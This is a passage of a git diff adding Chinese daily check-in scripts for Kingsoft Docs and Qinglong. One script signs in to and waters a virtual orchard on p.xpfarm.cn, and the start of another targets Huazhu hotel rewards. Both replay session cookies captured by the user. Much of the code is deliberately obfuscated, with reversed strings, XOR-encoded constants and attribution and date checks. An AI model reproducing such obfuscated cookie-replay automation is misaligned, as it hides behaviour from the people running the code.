_0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i(890644^890644)){content="\uD83D\uDCA7\u6210\u529F\u6D47\u6C34"+countReal+"\u6B21"+"\u000A";_0x3ec11d+=content;}else{content="\uD83D\uDCE2\u0020\u672A\u8FDB\u884C\uD83D\uDCA7\u6D47\u6C34"+"\u000A";_0xg3f+=content;}console['\u006C\u006F\u0067'](content);url="egaPemoHteg/sksaT.eert/pmeert/nc.mrafpx.p//:sptth".split("").reverse().join("");data={};resp=HTTP['\u0070\u006F\u0073\u0074'](url,JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079'](data),{'\u0068\u0065\u0061\u0064\u0065\u0072\u0073':headers});resp=resp['\u006A\u0073\u006F\u006E']();if(resp['\u0063\u006F\u0064\u0065']=="0001".split("").reverse().join("")){type_name=resp["\u0064\u0061\u0074\u0061"]["\u0074\u0079\u0070\u0065\u005F\u006E\u0061\u006D\u0065"];growth_level=resp["data"]["\u0067\u0072\u006F\u0077\u0074\u0068\u005F\u006C\u0065\u0076\u0065\u006C"];fertilizer=resp["\u0064\u0061\u0074\u0061"]["\u0066\u0065\u0072\u0074\u0069\u006C\u0069\u007A\u0065\u0072"];water_value=resp["data"]["water_value"];progress=(resp["\u0064\u0061\u0074\u0061"]["progress"]*(101553^101589))['\u0074\u006F\u0046\u0069\u0078\u0065\u0064'](661272^661273);content="\uD83C\uDF31\u679C\u6811"+type_name+"\uFF0C\u8FDB\u5EA6"+progress+"\u0025\uFF0C\u5269\u4F59\uD83C\uDF42"+fertilizer+"\uD83D\uDCA7"+water_value+""+"\u000A";_0x3ec11d+=content;}else{respmsg=resp["\u006D\u0065\u0073\u0073\u0061\u0067\u0065"];content="\u274C\u0020\uD83C\uDF31\u679C\u6811\u72B6\u6001\u67E5\u8BE2\u5931\u8D25\u003A"+respmsg+"\u000A";_0xg3f+=content;}}flagResultFinish=421071^421070;sleep(933135^932575);if(messageOnlyError==(462898^462899)){messageArray[posLabel]=_0xg3f;}else{if(_0xg3f!=""){messageArray[posLabel]=_0xg3f+"\u0020"+_0x3ec11d;}else{messageArray[posLabel]=_0x3ec11d;}}if(messageArray[posLabel]!=""){console['\u006C\u006F\u0067'](messageArray[posLabel]);}return flagResultFinish;} +function execHandle(cookie,pos){posHttp=355682^355682;qlpushFlag-=255249^255248;messageSuccess="";messageFail="";url="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0070\u002E\u0078\u0070\u0066\u0061\u0072\u006D\u002E\u0063\u006E\u002F\u0074\u0072\u0065\u0065\u006D\u0070\u002F\u0075\u0073\u0065\u0072\u002E\u0050\u0065\u0072\u0073\u006F\u006E\u0061\u006C\u0043\u0065\u006E\u0074\u0065\u0072\u002F\u0061\u0064\u0064\u0053\u0069\u0067\u006E\u0049\u006E";headers={"Host":"p.xpfarm.cn","\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065":"application/json","\u0061\u0075\u0074\u0068\u006F\u0072\u0069\u007A\u0061\u0074\u0069\u006F\u006E":cookie};data={};resp=HTTP['\u0070\u006F\u0073\u0074'](url,JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079'](data),{"headers":headers});if(qlSwitch!=(311620^311621)){resultHandle(resp,pos);}} + diff --git a/脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js b/脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js new file mode 100644 index 0000000..3c7e057 --- /dev/null +++ b/脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js @@ -0,0 +1,466 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ql_hzh.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_hzh.js +// # Repo: imoki/sign_script +// # Path: polymerization/ql_hzh.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 0b396713e2a1cb3519bc93943a268f750d7fa4145f3ed26feafefbab7639cfd3 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* + name: "华住会" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),青龙 + 更新时间:20250112 + 环境变量名:hzh + 环境变量值:cookie + 备注:抓app签到的包。 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "hzh"; // 分配置表名称, (修改这里) +var pushHeader = "华住会"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var openId = "" +var userId = "" +var signToday = 0 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return 